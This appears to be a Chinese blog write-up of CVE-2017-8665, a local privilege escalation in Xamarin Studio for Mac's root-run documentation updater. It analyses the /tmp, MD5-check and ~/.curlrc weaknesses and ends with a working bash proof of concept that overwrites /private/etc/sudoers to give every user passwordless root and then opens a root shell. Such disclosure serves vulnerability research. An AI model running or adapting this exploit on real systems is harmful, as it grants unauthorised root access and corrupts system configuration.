AD

XamarinStudio_Mac_API_privilege_Escp

XamarinStudio中Mac平台API更新机制漏洞导致本地权限提升/绕过

产品介绍

         Xamarin Studio是一个综合开发环境(IDE),可以创建创建iOSMacAndroid应用程序。默认情况下支持C#和F#的开发。

漏洞介绍

         Xamarin StudioMAC平台提供的API文档更新机制使用root权限进行执行,这个更新进制存在安全问题,可以导致本地权限提升漏洞。
         研究人员进行测试后,已经确定在v6.2.1 (build 3) v 6.3 (build 863)两个版本存在该漏洞

漏洞分析

         首先,更新脚本使用了不安全的工作目录,更新脚本会在/tmp目录下被创建,虽然有随机化的脚本进程标识。但是这个随机是存在一定顺序的,攻击者可以进行预测,或者直接提前(以符号链接形式)创建所有有可能使用的文件夹。
         其次,更新脚本在执行时多错误检查不足,在发生错误时,会继续进行执行下一个命令。
         TMPDIR=/tmp/ios-docs-download.$$ ,该文件夹用于存储稍后由mdoc程序使用的一些.NET程序集文件(DLL),假如“~/Library/Developer/Shared/Documentation/DocSets”该目录不存在,更新脚本将会从互联网下载一个DMG文件,如何从DMG文件中提取文件并挂载。因为前面提到攻击者可以控制工作目录路径,所以可以变相控制提取文件的路径。
         DMG文件挂载和提取文件之前,脚本会首先根据硬编码MD5值检查DMG文件的hash。但是可以利用pipe(命名管道)绕过该项检查。于是当MD5检查完毕后,攻击者可以返回原始的DMG文件,并在使用hdiutil挂载时返回不通的DMG文件。攻击者可以利用符号链接控制DMG文件的安装根目录。例如可以将其安装到/etc目录下。从而将DMG内的文件提取到/etc目录下。
         利用以上漏洞,攻击者可以在一个特定的位置创建目录,然后在高权限进程使用该目录时,导致权限提升逃逸,以高权限运行指定的脚本。例如,将DMG文件安装到/etc/sudoers.d下,增加一个sudo的配置脚本,运行本地用户无需密码以root权限执行命令。多数情况下,/etc/sudoers.d已经存在,hdiutil会将DMG放置到/etc/sudoers.d2,从而避免这种特定的攻击形式。
         另一个攻击思路是审计二进制文件。这些二进制文件通常有自己的环境变量或/以及自己使用的配置文件。在setuid root二进制文件情况下,环境变量可以由用户调用二进制文件来控制。例如curl就支持设置环境变量,其次curl会检查~/.curlrc下是否存在配置文件。在本漏洞中,curl会检查运行apple-doc-wizard程序的用户的主文件目录。本地攻击者可以控制curl的配置文件。利用该漏洞很容易,使用urlcurl的配置选项,可以从任何url下载文件,并将其存储在系统的任意的指定的位置。并且由于curl是以root权限运行,甚至可以覆盖或者创建任何本地文件。

POC

        
#!/bin/bash
# WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful)
#target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.6.0.10/share/doc/MonoTouch/apple-doc-wizard
target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.8.0.175/share/doc/MonoTouch/apple-doc-wizard
rm -rf ~/Library/Developer/Shared/Documentation/DocSets
  
cat << __EOF > /private/tmp/sudoers
%everyone   ALL=(ALL) NOPASSWD: ALL
__EOF
  
cat << __EOF > ~/.curlrc
url=file:///private/tmp/sudoers
output=/private/etc/sudoers
__EOF
  
echo
echo "*** press CRL+C when the download starts ***"
$target
echo
  
sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -'
  
rm -f /private/tmp/sudoers ~/.curlrc

REF

hdiutilmac平台上用于安装DMG文件的命令
DMGmac平台上的软件安装包

CVE-2017-8665

https://packetstormsecurity.com/files/143757/Xamarin-Studio-For-Mac-6.2.1-Build-3-6.3-Build-863-Privilege-Escalation.html

评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

Ubiquiti_Networks_UniFi_Cloud_Key_authed_rce